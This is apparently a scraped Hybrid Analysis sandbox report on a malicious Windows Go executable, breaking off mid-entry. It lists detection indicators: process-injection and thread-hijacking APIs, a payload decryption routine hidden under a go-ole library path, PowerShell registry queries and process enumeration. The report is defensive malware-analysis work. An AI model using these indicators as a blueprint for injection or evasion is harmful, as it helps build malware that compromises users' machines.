24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 90:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4fa,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 66020bbfa674… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 66020bbfa674…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7"],"about":{"@type":"SoftwareApplication","name":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","applicationCategory":["peexe","64bits","executable"],"identifier":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T49b,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation.ni.dll" (Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00001336.00000000.107993.F2E20000.00000004.mdmp, 00000000-00001336.00000001.108809.F2E20000.00000004.mdmp") Found string "} catch [System.Management.Automation.ItemNotFoundException] {" (Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "} catch [System.Management.Automation.DriveNotFoundException] {" (Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp") Found string "} catch [System.Management.Automation.WildcardPatternException] {" (Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")26:T1105,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "VirtualFree"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "VirtualAlloc"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FreeMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WriteProcessMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WriteVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtWriteVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "AllocateVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.AllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateThreadEx" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.AllocateVirtualMemoryEx" (Indicator: "AllocateVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateThreadInProcess" (Indicator: "CreateThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.WriteVirtualMemoryEx" (Indicator: "WriteVirtualMemory"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateSemaphoreACreateSemaphoreWCreateThread" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateThreadpoolCreateTimerQueueCtrlRoutine" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateThreadpoolCleanupGroup" (Indicator: "CreateThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")27:Tbb8,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "OpenThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "ResumeThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.CreateRemoteThreadEx" (Indicator: "CreateRemoteThread"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextole32.dll" (Indicator: "SetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextole32.dll" (Indicator: "GetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContextGetThreadId" (Indicator: "GetThreadContext"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateRemoteThreadEx" (Indicator: "CreateRemoteThread"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")28:T1234,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SleepEx"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetTickCount64"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "WaitForMultipleObjects"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "NtQuerySystemInformation"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "internal/syscall/windows.QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/ntapi.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp")29:T406,file/memory contains long string with (Indicator: "SetThreadToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "OpenThreadToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.OpenProcessToken" (Indicator: "OpenProcessToken"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp")2a:Tba8,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "FreeLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows.LoadLibraryEx" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "golang.org/x/sys/windows._LoadLibraryEx" (Indicator: "LoadLibrary"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00001336.00000000.107993.0D688000.00000002.mdmp") Found reference to API "RLoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FreeLibraryAndExitThreadFreeMemoryJobObject" (Indicator: "FreeLibrary"; Source: "00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00003628.00000000.107958.2D680000.00000004.mdmp")2b:T86a,Found reference to "forHKDF" (Indicator: "HKDF"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") file/memory contains long string with (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/entropy/v1%2e0%2e0.SHA384" (Indicator: "SHA384"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesFinish" (Indicator: "Aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesInit" (Indicator: "Aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesData" (Indicator: "Aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "crypto/internal/fips140/aes/gcm.gcmAesDec" (Indicator: "Aes"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00001336-00000BC0-677264652") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001336.00000000.107993.F5220000.00000004.mdmp, 00000000-00001336.00000001.108809.F5220000.00000004.mdmp")2c:T8b9,Found string - 25rdtscppopcntcmd/gocryptonetdnsCommonip+netGetAcesendtoSHA-NIAES-NIavx512rdrandrdseedheaderAnswersha256sha512COMSPECAPPDATAServiceRuntimeWindowsStartupfloat32float64readdirAppDataconsoleabortedCopySidWSARecvWSASendconnectsignal TuesdayJanuaryOctoberMUI_StdMUI_DltDesktopupdaterserviceruntimemanagerhandlermonitorforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil spans (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= minpc= value= (scan)types : type abs: %wCorpVPNWANLinkConnMgr%s_%04x-servermsi.dllP1 doneP2 donePATHEXTinvaliduintptrChanDir Value>\\.\UNC19531259765625avx512fos/execfips140tls3destlssha1net/urlFreeSidSleepExAES-CBCamxtileamxint8amxbf16osxsaveavxifmaavxvnnidetached-CommandProgramsGoStringfile+netFullPathno anodeCancelIoReadFileAcceptExWSAIoctlshutdownThursdaySaturdayFebruaryNovemberDecember%!Month(chacha20scavengepollDescsynctesttraceBufdeadlockraceFini; Source: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found string - 25rdtscppopcntcmd/gocryptonetdnsCommonip+netGetAcesendtoSHA-NIAES-NIavx512rdrandrdseedheaderAnswersha256sha512COMSPECAPPDATAServiceRuntimeWindowsStartupfloat32float64readdirAppDataconsoleabortedCopySidWSARecvWSASendconnectsignal TuesdayJanuaryOctoberMUI_StdMUI_DltDesktopupdaterserviceruntimemanagerhandlermonitorforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWNcleanup:events goid= mark s=nil spans (scan MB in pacer: % CPU ( zombiegc bits, j0 = head = panic: GODEBUG nmsys= locks= dying= allocs m->g0= pad1= pad2= minpc= value= (scan)types : type abs: %wCorpVPNWANLinkConnMgr%s_%04x-servermsi.dllP1 doneP2 donePATHEXTinvaliduintptrChanDir Value>\\.\UNC19531259765625avx512fos/execfips140tls3destlssha1net/urlFreeSidSleepExAES-CBCamxtileamxint8amxbf16osxsaveavxifmaavxvnnidetached-CommandProgramsGoStringfile+netFullPathno anodeCancelIoReadFileAcceptExWSAIoctlshutdownThursdaySaturdayFebruaryNovemberDecember%!Month(chacha20scavengepollDescsynctesttraceBufdeadlockraceFin; Source: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe")2d:T7f5,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D4DE20D05E66FC53FE1A50882C78DB2852CAE474") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D4DE20D05E66FC53FE1A50882C78DB2852CAE474") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D69B561148F01C77C54578C10926DF5B856976AD") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D69B561148F01C77C54578C10926DF5B856976AD") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D8C5388AB7301B1B6ED47AE645253A6F9F1A2761") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\D8C5388AB7301B1B6ED47AE645253A6F9F1A2761") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DAC9024F54D8F6DF94935FB1732638CA6AD77C13") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DAC9024F54D8F6DF94935FB1732638CA6AD77C13") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DDFB16CD4931C973A2037D3FC83A4D7D775D05E4") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4")2e:T9bf,"powershell.exe" queried SystemProcessInformation at 00000000-00001336-00000C15-678110696 [PID: 1336] "powershell.exe" queried SystemProcessInformation at 00000000-00001336-00000C15-678120728 [PID: 1336] "powershell.exe" queried SystemProcessInformation at 00000000-00001336-00000C15-678731493 [PID: 1336] "svcctrl3249_1523.exe" queried SystemProcessInformation at 00000000-00007864-00000C15-707478883 [PID: 7864] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-709176032 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-709185096 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-710700770 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-710709308 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-711716596 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-711728058 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-712731988 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-712740167 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-713747610 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-713756454 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-714763622 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-714772520 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-715778805 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-715788001 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-716794870 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-716803722 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-717810023 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-717818693 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-718825811 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-718835148 [PID: 792] "svchost.exe" queried SystemProcessInformation at 00000000-00000792-00000C15-719857104 [PID: 792]2f:T497,file/memory contains long string with (Indicator: ".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "github.com/go-ole/go-ole/internal/payload.DecryptFileInPlace" (Indicator: ".decrypt"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "encoding/hex.DecodeString" (Indicator: ".decodestring"; File: "66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe") Found reference to API "crypto/internal/fips140/aes.decryptBlock" (Indicator: 